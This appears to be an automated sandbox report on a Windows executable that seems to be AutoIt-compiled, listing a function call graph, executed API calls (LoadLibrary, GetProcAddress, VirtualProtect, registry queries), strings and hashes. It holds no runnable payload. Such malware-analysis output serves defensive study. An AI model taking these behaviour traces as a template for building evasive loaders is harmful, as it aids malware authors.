timeGetTime 86429->86432 86452 409894 86429->86452 86432->86452 86433 40986e Sleep 86437 409880 timeGetTime 86433->86437 86433->86452 86436 4098f1 TranslateMessage DispatchMessageW 86436->86458 86437->86452 86438 431673 CloseHandle 86438->86452 86439 40d590 VariantClear 86439->86452 86440 43170c GetExitCodeProcess CloseHandle 86440->86452 86441 46e641 134 API calls 86441->86452 86444 46dd22 133 API calls 86444->86452 86446 431781 Sleep 86446->86458 86449 45e62e 116 API calls 86449->86458 86452->86438 86452->86439 86452->86440 86452->86441 86452->86444 86452->86446 86456 4092c0 VariantClear 86452->86456 86452->86458 86666 447e59 75 API calls 86452->86666 86667 453b07 77 API calls 86452->86667 86668 4646a2 76 API calls 86452->86668 86670 444233 88 API calls _wcslen 86452->86670 86671 457509 VariantClear 86452->86671 86672 404120 86452->86672 86676 4717e3 VariantClear 86452->86676 86677 436272 6 API calls 86452->86677 86455 4319c9 VariantClear 86455->86458 86456->86452 86457 4092c0 VariantClear 86457->86458 86458->86421 86458->86424 86458->86426 86458->86429 86458->86433 86458->86436 86458->86449 86458->86452 86458->86455 86458->86457 86460 40b380 86458->86460 86484 409340 86458->86484 86517 409030 86458->86517 86531 40d300 86458->86531 86536 40d320 86458->86536 86542 409a40 86458->86542 86681 40e380 VariantClear ctype 86458->86681 86461 40b3a5 86460->86461 86462 40b53d 86460->86462 86463 430a99 86461->86463 86469 40b3b6 86461->86469 86682 45e62e 116 API calls 3 library calls 86462->86682 86683 45e62e 116 API calls 3 library calls 86463->86683 86466 40b528 86466->86458 86467 430aae 86471 4092c0 VariantClear 86467->86471 86469->86467 86472 40b3f2 86469->86472 86480 40b4fd ctype 86469->86480 86470 430dc9 86470->86470 86471->86466 86473 40b429 86472->86473 86474 430ae9 VariantClear 86472->86474 86475 40b476 ctype 86472->86475 86482 40b43b ctype 86473->86482 86684 40e380 VariantClear ctype 86473->86684 86474->86482 86476 40b4eb 86475->86476 86479 430d08 ctype 86475->86479 86476->86480 86685 40e380 VariantClear ctype 86476->86685 86477 430d41 VariantClear 86477->86480 86479->86477 86479->86480 86480->86466 86686 45e62e 116 API calls 3 library calls 86480->86686 86481 41171a 75 API calls 86481->86475 86482->86475 86482->86481 86485 409386 86484->86485 86505 409395 86484->86505 86687 4042f0 75 API calls __cinit 86485->86687 86488 42fba9 86691 45e62e 116 API calls 3 library calls 86488->86691 86490 42fc07 86693 45e62e 116 API calls 3 library calls 86490->86693 86492 42fc85 86695 4781ae 140 API calls 86492->86695 86494 42fcd8 86697 47f2b4 174 API calls 86494->86697 86496 42fd4f 86499 4092c0 VariantClear 86496->86499 86497 42fd39 86699 45e62e 116 API calls 3 library calls 86497->86699 86503 409484 ctype 86499->86503 86500 42fc9c 86500->86503 86696 45e62e 116 API calls 3 library calls 86500->86696 86502 42fce9 86502->86503 86698 45e62e 116 API calls 3 library calls 86502->86698 86503->86458 86504 40946f 86688 409210 VariantClear 86504->86688 86505->86488 86505->86490 86505->86492 86505->86494 86505->86496 86505->86497 86505->86503 86505->86504 86509 40947b 86505->86509 86512 4094c1 86505->86512 86513 4092c0 VariantClear 86505->86513 86690 453155 75 API calls 86505->86690 86692 40c620 118 API calls 86505->86692 86694 45e62e 116 API calls 3 library calls 86505->86694 86511 4092c0 VariantClear 86509->86511 86511->86503 86512->86503 86689 404260 76 API calls 86512->86689 86513->86505 86515 4094e1 86516 4092c0 VariantClear 86515->86516 86516->86503 86700 409110 117 API calls 86517->86700 86519 42ceb6 86710 410ae0 VariantClear ctype 86519->86710 86521 42cebf 86522 40906e 86522->86519 86523 42cea9 86522->86523 86525 4090a4 86522->86525 86709 45e62e 116 API calls 3 library calls 86523->86709 86701 404160 86525->86701 86528 4090f0 ctype 86528->86458 86529 4092c0 VariantClear 86530 4090be ctype 86529->86530 86530->86528 86530->86529 86532 4292e3 86531->86532 86535 40d30c 86531->86535 86533 429323 86532->86533 86534 4292fd TranslateAcceleratorW 86532->86534 86533->86458 86534->86535 86535->86458 86537 4296d0 86536->86537 86540 40d32f 86536->86540 86537->86458 86538 40d33c 86538->86458 86539 42972a IsDialogMessageW 86539->86538 86539->86540 86540->86538 86540->86539 86845 4340ec GetClassLongW 86540->86845 86543 409a66 _wcslen 86542->86543 86544 41171a 75 API calls 86543->86544 86604 40aade _realloc ctype 86543->86604 86545 409a9c _realloc 86544->86545 86546 41171a 75 API calls 86545->86546 86548 409abd 86546->86548 86550 409aeb CharUpperBuffW 86548->86550 86553 409b09 ctype 86548->86553 86548->86604 86549 42cee9 86551 41171a 75 API calls 86549->86551 86550->86553 86559 42cf10 _realloc 86551->86559 86591 409b88 ctype 86553->86591 86848 47d10e 150 API calls 86553->86848 86555 4092c0 VariantClear 86556 42e5e0 86555->86556 86880 410ae0 VariantClear ctype 86556->86880 86558 42e5f2 86879 45e62e 116 API calls 3 library calls 86559->86879 86560 409e4a 86560->86559 86562 41171a 75 API calls 86560->86562 86567 409ea4 86560->86567 86561 40aa5b 86564 41171a 75 API calls 86561->86564 86562->86567 86563 41171a 75 API calls 86563->86591 86581 40aa81 _realloc ctype 86564->86581 86566 409ed0 86570 42d50d 86566->86570 86626 409ef8 _realloc ctype 86566->86626 86858 40b800 VariantClear VariantClear ctype 86566->86858 86567->86566 86568 41171a 75 API calls 86567->86568 86569 42d480 86568->86569 86571 42d491 86569->86571 86854 44b3f6 75 API calls 86569->86854 86574 42d527 86570->86574 86859 40b800 VariantClear VariantClear ctype 86570->86859 86855 40df50 75 API calls 86571->86855 86573 40a3a7 86579 40a415 86573->86579 86625 42db5c 86573->86625 86574->86626 86860 40e2e0 VariantClear ctype 86574->86860 86575 42d195 VariantClear 86575->86591 86576 4092c0 VariantClear 86576->86591 86584 41171a 75 API calls 86579->86584 86589 41171a 75 API calls 86581->86589 86600 40a41c 86584->86600 86587 42db96 86866 45e62e 116 API calls 3 library calls 86587->86866 86589->86604 86590 42d4a6 86856 4530b3 75 API calls 86590->86856 86591->86559 86591->86560 86591->86561 86591->86563 86591->86575 86591->86576 86591->86581 86593 42d128 86591->86593 86594 42d20c 86591->86594 86602 42dbb9 86591->86602 86849 40c3e0 75 API calls 86591->86849 86850 40c620 118 API calls 86591->86850 86852 40be00 75 API calls 2 library calls 86591->86852 86853 40e380 VariantClear ctype 86591->86853 86596 4092c0 VariantClear 86593->86596 86594->86458 86595 42d4d7 86857 4530b3 75 API calls 86595->86857 86601 42d131 86596->86601 86611 40a481 86600->86611 86867 40c8a0 VariantClear ctype 86600->86867 86851 410ae0 VariantClear ctype 86601->86851 86602->86555 86847 401380 75 API calls 86604->86847 86606 41171a 75 API calls 86606->86626 86608 44b3f6 75 API calls 86608->86626 86609 4092c0 VariantClear 86639 40a534 _realloc ctype 86609->86639 86610 411421 74 API calls __cinit 86610->86626 86612 40a4ed 86611->86612 86614 42dc1e VariantClear 86611->86614 86611->86639 86618 40a4ff ctype 86612->86618 86868 40e380 VariantClear ctype 86612->86868 86613 402cc0 75 API calls 86613->86626 86614->86618 86617 41171a 75 API calls 86617->86639 86618->86617 86618->86639 86622 42deb6 VariantClear 86622->86639 86623 40a73c 86627 42e237 86623->86627 86633 40a76b 86623->86633 86624 40e380 VariantClear 86624->86639 86865 4721e5 VariantClear 86625->86865 86626->86573 86626->86587 86626->86604 86626->86606 86626->86608 86626->86610 86626->86613 86626->86625 86631 40a053 86626->86631 86861 45ee98 75 API calls 86626->86861 86862 4019e0 76 API calls 86626->86862 86863 404260 76 API calls 86626->86863 86864 409210 VariantClear 86626->86864 86872 46e709 VariantClear VariantClear ctype 86627->86872 86628 42df47 VariantClear 86628->86639 86629 42dfe9 VariantClear 86629->86639 86631->86458 86632 40a7a2 86646 40a7ad ctype 86632->86646 86873 40b800 VariantClear VariantClear ctype 86632->86873 86633->86632 86658 40a800 ctype 86633->86658 86846 40b800 VariantClear VariantClear ctype 86633->86846 86636 41171a 75 API calls 86640 42dd10 VariantInit VariantCopy 86636->86640 86637 40a8b0 86651 40a8c2 ctype 86637->86651 86875 40e380 VariantClear ctype 86637->86875 86638 42e312 86641 42e337 VariantClear 86638->86641 86638->86651 86639->86609 86639->86622 86639->86623 86639->86624 86639->86627 86639->86628 86639->86629 86639->86636 86643 41171a 75 API calls 86639->86643 86869 46e9cd 75 API calls 86639->86869 86870 409210 VariantClear 86639->86870 86871 44cc6c VariantClear ctype 86639->86871 86640->86639 86642 42dd30 VariantClear 86640->86642 86641->86651 86642->86639 86643->86639 86644 42e3b2 86652 42e3da VariantClear 86644->86652 86655 40a91a ctype 86644->86655 86647 40a7ee 86646->86647 86650 42e2a7 VariantClear 86646->86650 86646->86658 86647->86658 86874 40e380 VariantClear ctype 86647->86874 86649 40a908 86649->86655 86876 40e380 VariantClear ctype 86649->86876 86650->86658 86651->86644 86651->86649 86652->86655 86653 42e47f 86659 42e4a3 VariantClear 86653->86659 86664 40a957 ctype 86653->86664 86655->86653 86657 40a945 86655->86657 86657->86664 86877 40e380 VariantClear ctype 86657->86877 86658->86637 86658->86638 86659->86664 86661 40aa22 ctype 86661->86458 86662 42e559 VariantClear 86662->86664 86664->86661 86664->86662 86878 40e380 VariantClear ctype 86664->86878 86665->86421 86666->86452 86667->86452 86668->86452 86669->86452 86670->86452 86671->86452 86673 40412e 86672->86673 86674 4092c0 VariantClear 86673->86674 86675 404138 86674->86675 86675->86446 86676->86452 86677->86452 86678->86458 86679->86420 86680->86458 86681->86458 86682->86463 86683->86467 86684->86482 86685->86480 86686->86470 86687->86505 86688->86509 86689->86515 86690->86505 86691->86503 86692->86505 86693->86503 86694->86505 86695->86500 86696->86503 86697->86502 86698->86503 86699->86496 86700->86522 86702 4092c0 VariantClear 86701->86702 86703 40416e 86702->86703 86704 404120 VariantClear 86703->86704 86705 40419b 86704->86705 86711 4734b7 86705->86711 86755 40efe0 86705->86755 86706 4041c6 86706->86519 86706->86530 86709->86519 86710->86521 86712 453063 111 API calls 86711->86712 86713 4734d7 86712->86713 86714 473545 86713->86714 86715 47350c 86713->86715 86763 463c42 86714->86763 86717 4092c0 VariantClear 86715->86717 86722 473514 86717->86722 86718 473558 86719 47355c 86718->86719 86735 473595 86718->86735 86720 4092c0 VariantClear 86719->86720 86730 473564 86720->86730 86721 473616 86776 463d7e 86721->86776 86722->86706 86724 473622 86726 473697 86724->86726 86727 47362c 86724->86727 86725 453063 111 API calls 86725->86735 86810 457838 86726->86810 86731 4092c0 VariantClear 86727->86731 86730->86706 86733 473634 86731->86733 86733->86706 86734 473655 86738 4092c0 VariantClear 86734->86738 86735->86721 86735->86725 86735->86734 86822 462f5a 87 API calls __wcsicoll 86735->86822 86749 47365d 86738->86749 86739 4736b0 86823 45e62e 116 API calls 3 library calls 86739->86823 86740 4736c9 86824 40e7e0 76 API calls 86740->86824 86743 4736db 86753 4736ff 86743->86753 86825 40d030 76 API calls 86743->86825 86744 4736ba GetCurrentProcess TerminateProcess 86744->86740 86746 473731 86751 473744 FreeLibrary 86746->86751 86752 47374b 86746->86752 86747 4736f1 86826 46b945 134 API calls 2 library calls 86747->86826 86749->86706 86751->86752 86752->86706 86753->86746 86827 40d030 76 API calls 86753->86827 86828 46b945 134 API calls 2 library calls 86753->86828 86756 40eff5 CreateFileW 86755->86756 86757 4299bf 86755->86757 86759 40f017 86756->86759 86758 4299c4 CreateFileW 86757->86758 86757->86759 86758->86759 86760 4299ea 86758->86760 86759->86706 86844 40e0d0 SetFilePointerEx SetFilePointerEx 86760->86844 86762 4299f5 86762->86759 86829 45335b 76 API calls 86763->86829 86765 463c5d 86830 442c52 80 API calls _wcslen 86765->86830 86767 463c72 86769 40c060 75 API calls 86767->86769 86775 463cac 86767->86775 86770 463c8e 86769->86770 86831 4608ce 75 API calls _realloc 86770->86831 86772 463ca4 86773 40c740 75 API calls 86772->86773 86773->86775 86774 463cf7 86774->86718 86775->86774 86832 462f5a 87 API calls __wcsicoll 86775->86832 86777 453063 111 API calls 86776->86777 86778 463d99 86777->86778 86779 463de0 86778->86779 86780 463dca 86778->86780 86834 40c760 78 API calls 86779->86834 86833 453081 111 API calls 86780->86833 86783 463de7 86794 463e19 86783->86794 86835 40c760 78 API calls 86783->86835 86784 463dd0 LoadLibraryW 86792 463e09 86784->86792 86786 463e3e 86788 463e4e 86786->86788 86789 463e7b 86786->86789 86787 463dfb 86787->86794 86836 40c760 78 API calls 86787->86836 86837 40d500 75 API calls 86788->86837 86839 40c760 78 API calls 86789->86839 86792->86786 86792->86794 86794->86724 86795 463e57 86838 45efe7 77 API calls ctype 86795->86838 86796 463e82 GetProcAddress 86799 463e90 86796->86799 86798 463e62 GetProcAddress 86801 463e79 86798->86801 86799->86794 86800 463edf 86799->86800 86799->86801 86800->86794 86804 463eef FreeLibrary 86800->86804 86801->86799 86840 403470 75 API calls _realloc 86801->86840 86803 463eb4 86841 40d500 75 API calls 86803->86841 86804->86794 86806 463ebd 86842 45efe7 77 API calls ctype 86806->86842 86808 463ec8 GetProcAddress 86843 401330 ctype 86808->86843 86811 457a4c 86810->86811 86812 45785f _strcat _wcslen _wcscpy ctype 86810->86812 86818 410d40 86811->86818 86812->86811 86813 443576 78 API calls 86812->86813 86814 40c760 78 API calls 86812->86814 86815 4138ba 67 API calls _malloc 86812->86815 86816 453081 111 API calls 86812->86816 86817 40f580 77 API calls 86812->86817 86813->86812 86814->86812 86815->86812 86816->86812 86817->86812 86820 410d55 86818->86820 86819 410ded VirtualProtect 86821 410dbb 86819->86821 86820->86819 86820->86821 86821->86739 86821->86740 86822->86735 86823->86744 86824->86743 86825->86747 86826->86753 86827->86753 86828->86753 86829->86765 86830->86767 86831->86772 86832->86774 86833->86784 86834->86783 86835->86787 86836->86792 86837->86795 86838->86798 86839->86796 86840->86803 86841->86806 86842->86808 86843->86800 86844->86762 86845->86540 86846->86632 86847->86549 86848->86553 86849->86591 86850->86591 86851->86661 86852->86591 86853->86591 86854->86571 86855->86590 86856->86595 86857->86566 86858->86570 86859->86574 86860->86626 86861->86626 86862->86626 86863->86626 86864->86626 86865->86587 86866->86602 86867->86600 86868->86618 86869->86639 86870->86639 86871->86639 86872->86632 86873->86646 86874->86658 86875->86651 86876->86655 86877->86664 86878->86664 86879->86602 86880->86558 86881 42919b 86886 40ef10 86881->86886 86884 411421 __cinit 74 API calls 86885 4291aa 86884->86885 86887 41171a 75 API calls 86886->86887 86888 40ef17 86887->86888 86889 42ad48 86888->86889 86894 40ef40 74 API calls __cinit 86888->86894 86891 40ef2a 86895 40e470 86891->86895 86894->86891 86896 40c060 75 API calls 86895->86896 86897 40e483 GetVersionExW 86896->86897 86898 4021e0 75 API calls 86897->86898 86899 40e4bb 86898->86899 86921 40e600 86899->86921 86905 42accc 86907 42ad28 GetSystemInfo 86905->86907 86911 42ad38 GetSystemInfo 86907->86911 86908 40e557 GetCurrentProcess 86941 40ee30 LoadLibraryA GetProcAddress 86908->86941 86909 40e56c 86909->86911 86934 40eee0 86909->86934 86914 40e5c9 86938 40eea0 86914->86938 86917 40e5e0 86919 40e5f1 FreeLibrary 86917->86919 86920 40e5f4 86917->86920 86918 40e5dd FreeLibrary 86918->86917 86919->86920 86920->86884 86922 40e60b 86921->86922 86923 40c740 75 API calls 86922->86923 86924 40e4c2 86923->86924 86925 40e620 86924->86925 86926 40e62a 86925->86926 86927 42ac93 86926->86927 86928 40c740 75 API calls 86926->86928 86929 40e4ce 86928->86929 86929->86905 86930 40ee70 86929->86930 86931 40e551 86930->86931 86932 40ee76 LoadLibraryA 86930->86932 86931->86908 86931->86909 86932->86931 86933 40ee87 GetProcAddress 86932->86933 86933->86931 86935 40e5bf 86934->86935 86936 40eee6 LoadLibraryA 86934->86936 86935->86907 86935->86914 86936->86935 86937 40eef7 GetProcAddress 86936->86937 86937->86935 86942 40eec0 LoadLibraryA GetProcAddress 86938->86942 86940 40e5d3 GetNativeSystemInfo 86940->86917 86940->86918 86941->86909 86942->86940 86943 42e89e 86950 40c000 86943->86950 86945 42e8ac 86946 409a40 165 API calls 86945->86946 86947 42e8ca 86946->86947 86961 44b92e VariantClear 86947->86961 86949 42f3ae 86951 40c014 86950->86951 86952 40c007 86950->86952 86953 40c01a 86951->86953 86954 40c02c 86951->86954 86962 409210 VariantClear 86952->86962 86963 409210 VariantClear 86953->86963 86957 41171a 75 API calls 86954->86957 86960 40c033 86957->86960 86958 40c00f 86958->86945 86959 40c023 86959->86945 86960->86945 86961->86949 86962->86958 86963->86959

                                                                                                                                                  Executed Functions

                                                                                                                                                  Function 00409A40 Relevance: 32.2, APIs: 15, Strings: 2, Instructions: 2432COMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                    • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                  • CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: BuffCharException@8ThrowUpper_malloc_wcslenstd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                  • String ID: 0vH$4RH
                                                                                                                                                  • API String ID: 1143807570-2085553193
                                                                                                                                                  • Opcode ID: 99d1197353860daa2513f82cc2f46b4e9eeffbfa9250308b68df757a7373a6ee
                                                                                                                                                  • Instruction ID: 7c8f52bff4b3ea9a641e6aac08ab5e1c8beb32691f0f21fab5f23224d73a3634
                                                                                                                                                  • Opcode Fuzzy Hash: 99d1197353860daa2513f82cc2f46b4e9eeffbfa9250308b68df757a7373a6ee
                                                                                                                                                  • Instruction Fuzzy Hash: 34238170A043109FD724DF25D480A6BB7E1BF89304F54896EE84A9B391D739EC46CB9B
                                                                                                                                                  Function 0040E470 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 165COMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  • Executed
                                                                                                                                                  • Not Executed
                                                                                                                                                  control_flow_graph 1204 40e470-40e500 call 40c060 GetVersionExW call 4021e0 call 40e600 call 40e620 1213 40e506-40e509 1204->1213 1214 42accc-42acd1 1204->1214 1217 40e540-40e555 call 40ee70 1213->1217 1218 40e50b-40e51c 1213->1218 1215 42acd3-42acdb 1214->1215 1216 42acdd-42ace0 1214->1216 1219 42ad12-42ad20 1215->1219 1220 42ace2-42aceb 1216->1220 1221 42aced-42acf0 1216->1221 1235 40e557-40e573 GetCurrentProcess call 40ee30 1217->1235 1236 40e579-40e5a8 1217->1236 1222 40e522-40e525 1218->1222 1223 42ac9b-42aca7 1218->1223 1234 42ad28-42ad2d GetSystemInfo 1219->1234 1220->1219 1221->1219 1227 42acf2-42ad06 1221->1227 1222->1217 1228 40e527-40e537 1222->1228 1225 42acb2-42acba 1223->1225 1226 42aca9-42acad 1223->1226 1225->1217 1226->1217 1230 42ad08-42ad0c 1227->1230 1231 42ad0e 1227->1231 1232 42acbf-42acc7 1228->1232 1233 40e53d 1228->1233 1230->1219 1231->1219 1232->1217 1233->1217 1238 42ad38-42ad3d GetSystemInfo 1234->1238 1235->1236 1245 40e575 1235->1245 1236->1238 1239 40e5ae-40e5c3 call 40eee0 1236->1239 1239->1234 1244 40e5c9-40e5db call 40eea0 GetNativeSystemInfo 1239->1244 1248 40e5e0-40e5ef 1244->1248 1249 40e5dd-40e5de FreeLibrary 1244->1249 1245->1236 1250 40e5f1-40e5f2 FreeLibrary 1248->1250 1251 40e5f4-40e5ff 1248->1251 1249->1248 1250->1251
                                                                                                                                                  APIs
                                                                                                                                                  • GetVersionExW.KERNEL32 ref: 0040E495
                                                                                                                                                    • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                  • GetCurrentProcess.KERNEL32(?,?), ref: 0040E560
                                                                                                                                                  • GetNativeSystemInfo.KERNELBASE(?,?), ref: 0040E5D3
                                                                                                                                                  • FreeLibrary.KERNEL32(?), ref: 0040E5DE
                                                                                                                                                  • FreeLibrary.KERNEL32(?), ref: 0040E5F2
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FreeLibrary$CurrentInfoNativeProcessSystemVersion_wcslen
                                                                                                                                                  • String ID: pMH
                                                                                                                                                  • API String ID: 2923339712-2522892712
                                                                                                                                                  • Opcode ID: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                  • Instruction ID: 31d199e0849a18b4fe3a20375a839c17b1fda7a8e5a404adfed2e153d323e8b3
                                                                                                                                                  • Opcode Fuzzy Hash: 3f36deb7b7369dd68d3c05326faf84e57561e58110467ef3184d2bc56fc1d5cf
                                                                                                                                                  • Instruction Fuzzy Hash: D4612E71508792AEC311CB69C44425ABFE07B6A308F580E6EE48483A42D379E568C7AB
                                                                                                                                                  Function 0040EB70 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • LoadLibraryA.KERNELBASE(uxtheme.dll,0040EB55,0040D86E), ref: 0040EB7B
                                                                                                                                                  • GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0040EB8D
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: AddressLibraryLoadProc
                                                                                                                                                  • String ID: IsThemeActive$uxtheme.dll
                                                                                                                                                  • API String ID: 2574300362-3542929980
                                                                                                                                                  • Opcode ID: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                  • Instruction ID: e8120cabfd18d8fe06d2f96d8b82b2b5a4bcadd10797c678d2963416b1e4c3b8
                                                                                                                                                  • Opcode Fuzzy Hash: 9e55e894ab04f38af4b02d6559f2dae0f2ca0bab174211e780b997e8b6ae5f43
                                                                                                                                                  • Instruction Fuzzy Hash: 05D0C9B49407039AD7306F72C918B0A7BE4AB50342F204C3EF996A1694DBBCD0508B28
                                                                                                                                                  Function 00410B90 Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 167registryCOMMON
                                                                                                                                                  Download Yara Rule

                                                                                                                                                  Control-flow Graph

                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 0041171A: _malloc.LIBCMT ref: 00411734
                                                                                                                                                  • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00410C44
                                                                                                                                                  • __wsplitpath.LIBCMT ref: 00410C61
                                                                                                                                                    • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                  • _wcsncat.LIBCMT ref: 00410C78
                                                                                                                                                  • __wmakepath.LIBCMT ref: 00410C94
                                                                                                                                                    • Part of subcall function 00413E3C: __wmakepath_s.LIBCMT ref: 00413E52
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_alloc::bad_alloc.LIBCMT ref: 00411757
                                                                                                                                                    • Part of subcall function 0041171A: std::bad_exception::bad_exception.LIBCMT ref: 0041176B
                                                                                                                                                    • Part of subcall function 0041171A: __CxxThrowException@8.LIBCMT ref: 00411779
                                                                                                                                                  • _wcscpy.LIBCMT ref: 00410CCC
                                                                                                                                                  • RegOpenKeyExW.KERNELBASE(80000001,Software\AutoIt v3\AutoIt,00000000,00020019,?), ref: 00410CE9
                                                                                                                                                  • RegQueryValueExW.ADVAPI32 ref: 00429BE4
                                                                                                                                                  • _wcscat.LIBCMT ref: 00429C43
                                                                                                                                                  • _wcslen.LIBCMT ref: 00429C55
                                                                                                                                                  • _wcslen.LIBCMT ref: 00429C66
                                                                                                                                                  • _wcscat.LIBCMT ref: 00429C80
                                                                                                                                                  • _wcsncpy.LIBCMT ref: 00429CC0
                                                                                                                                                  • RegCloseKey.ADVAPI32(?), ref: 00429CDE
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: _wcscat_wcslen$CloseException@8FileModuleNameOpenQueryThrowValue__wmakepath__wmakepath_s__wsplitpath__wsplitpath_helper_malloc_wcscpy_wcsncat_wcsncpystd::bad_alloc::bad_allocstd::bad_exception::bad_exception
                                                                                                                                                  • String ID: Include$Software\AutoIt v3\AutoIt$\
                                                                                                                                                  • API String ID: 1004883554-2276155026
                                                                                                                                                  • Opcode ID: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                  • Instruction ID: ef4714a7fd58501e566ba693257e1f196c1b97611c18bc9c35ab262cfa7686fb
                                                                                                                                                  • Opcode Fuzzy Hash: bd70d1de0bf944503d0c9583a27c2bfe501ff96b935e7e88766a5686d489513a
                                                                                                                                                  • Instruction Fuzzy Hash: B961B3B1508340DFC300EF65EC8599BBBE8FB99704F44882EF544C3261EBB59948CB5A
                                                                                                                                                  Function 004095C7 Relevance: 21.5, APIs: 14, Instructions: 539sleeptimeCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                    • Part of subcall function 00409A40: _wcslen.LIBCMT ref: 00409A61
                                                                                                                                                    • Part of subcall function 00409A40: CharUpperBuffW.USER32(?,?), ref: 00409AF5
                                                                                                                                                  • Sleep.KERNEL32(0000000A), ref: 00409870
                                                                                                                                                  • timeGetTime.WINMM ref: 00409880
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
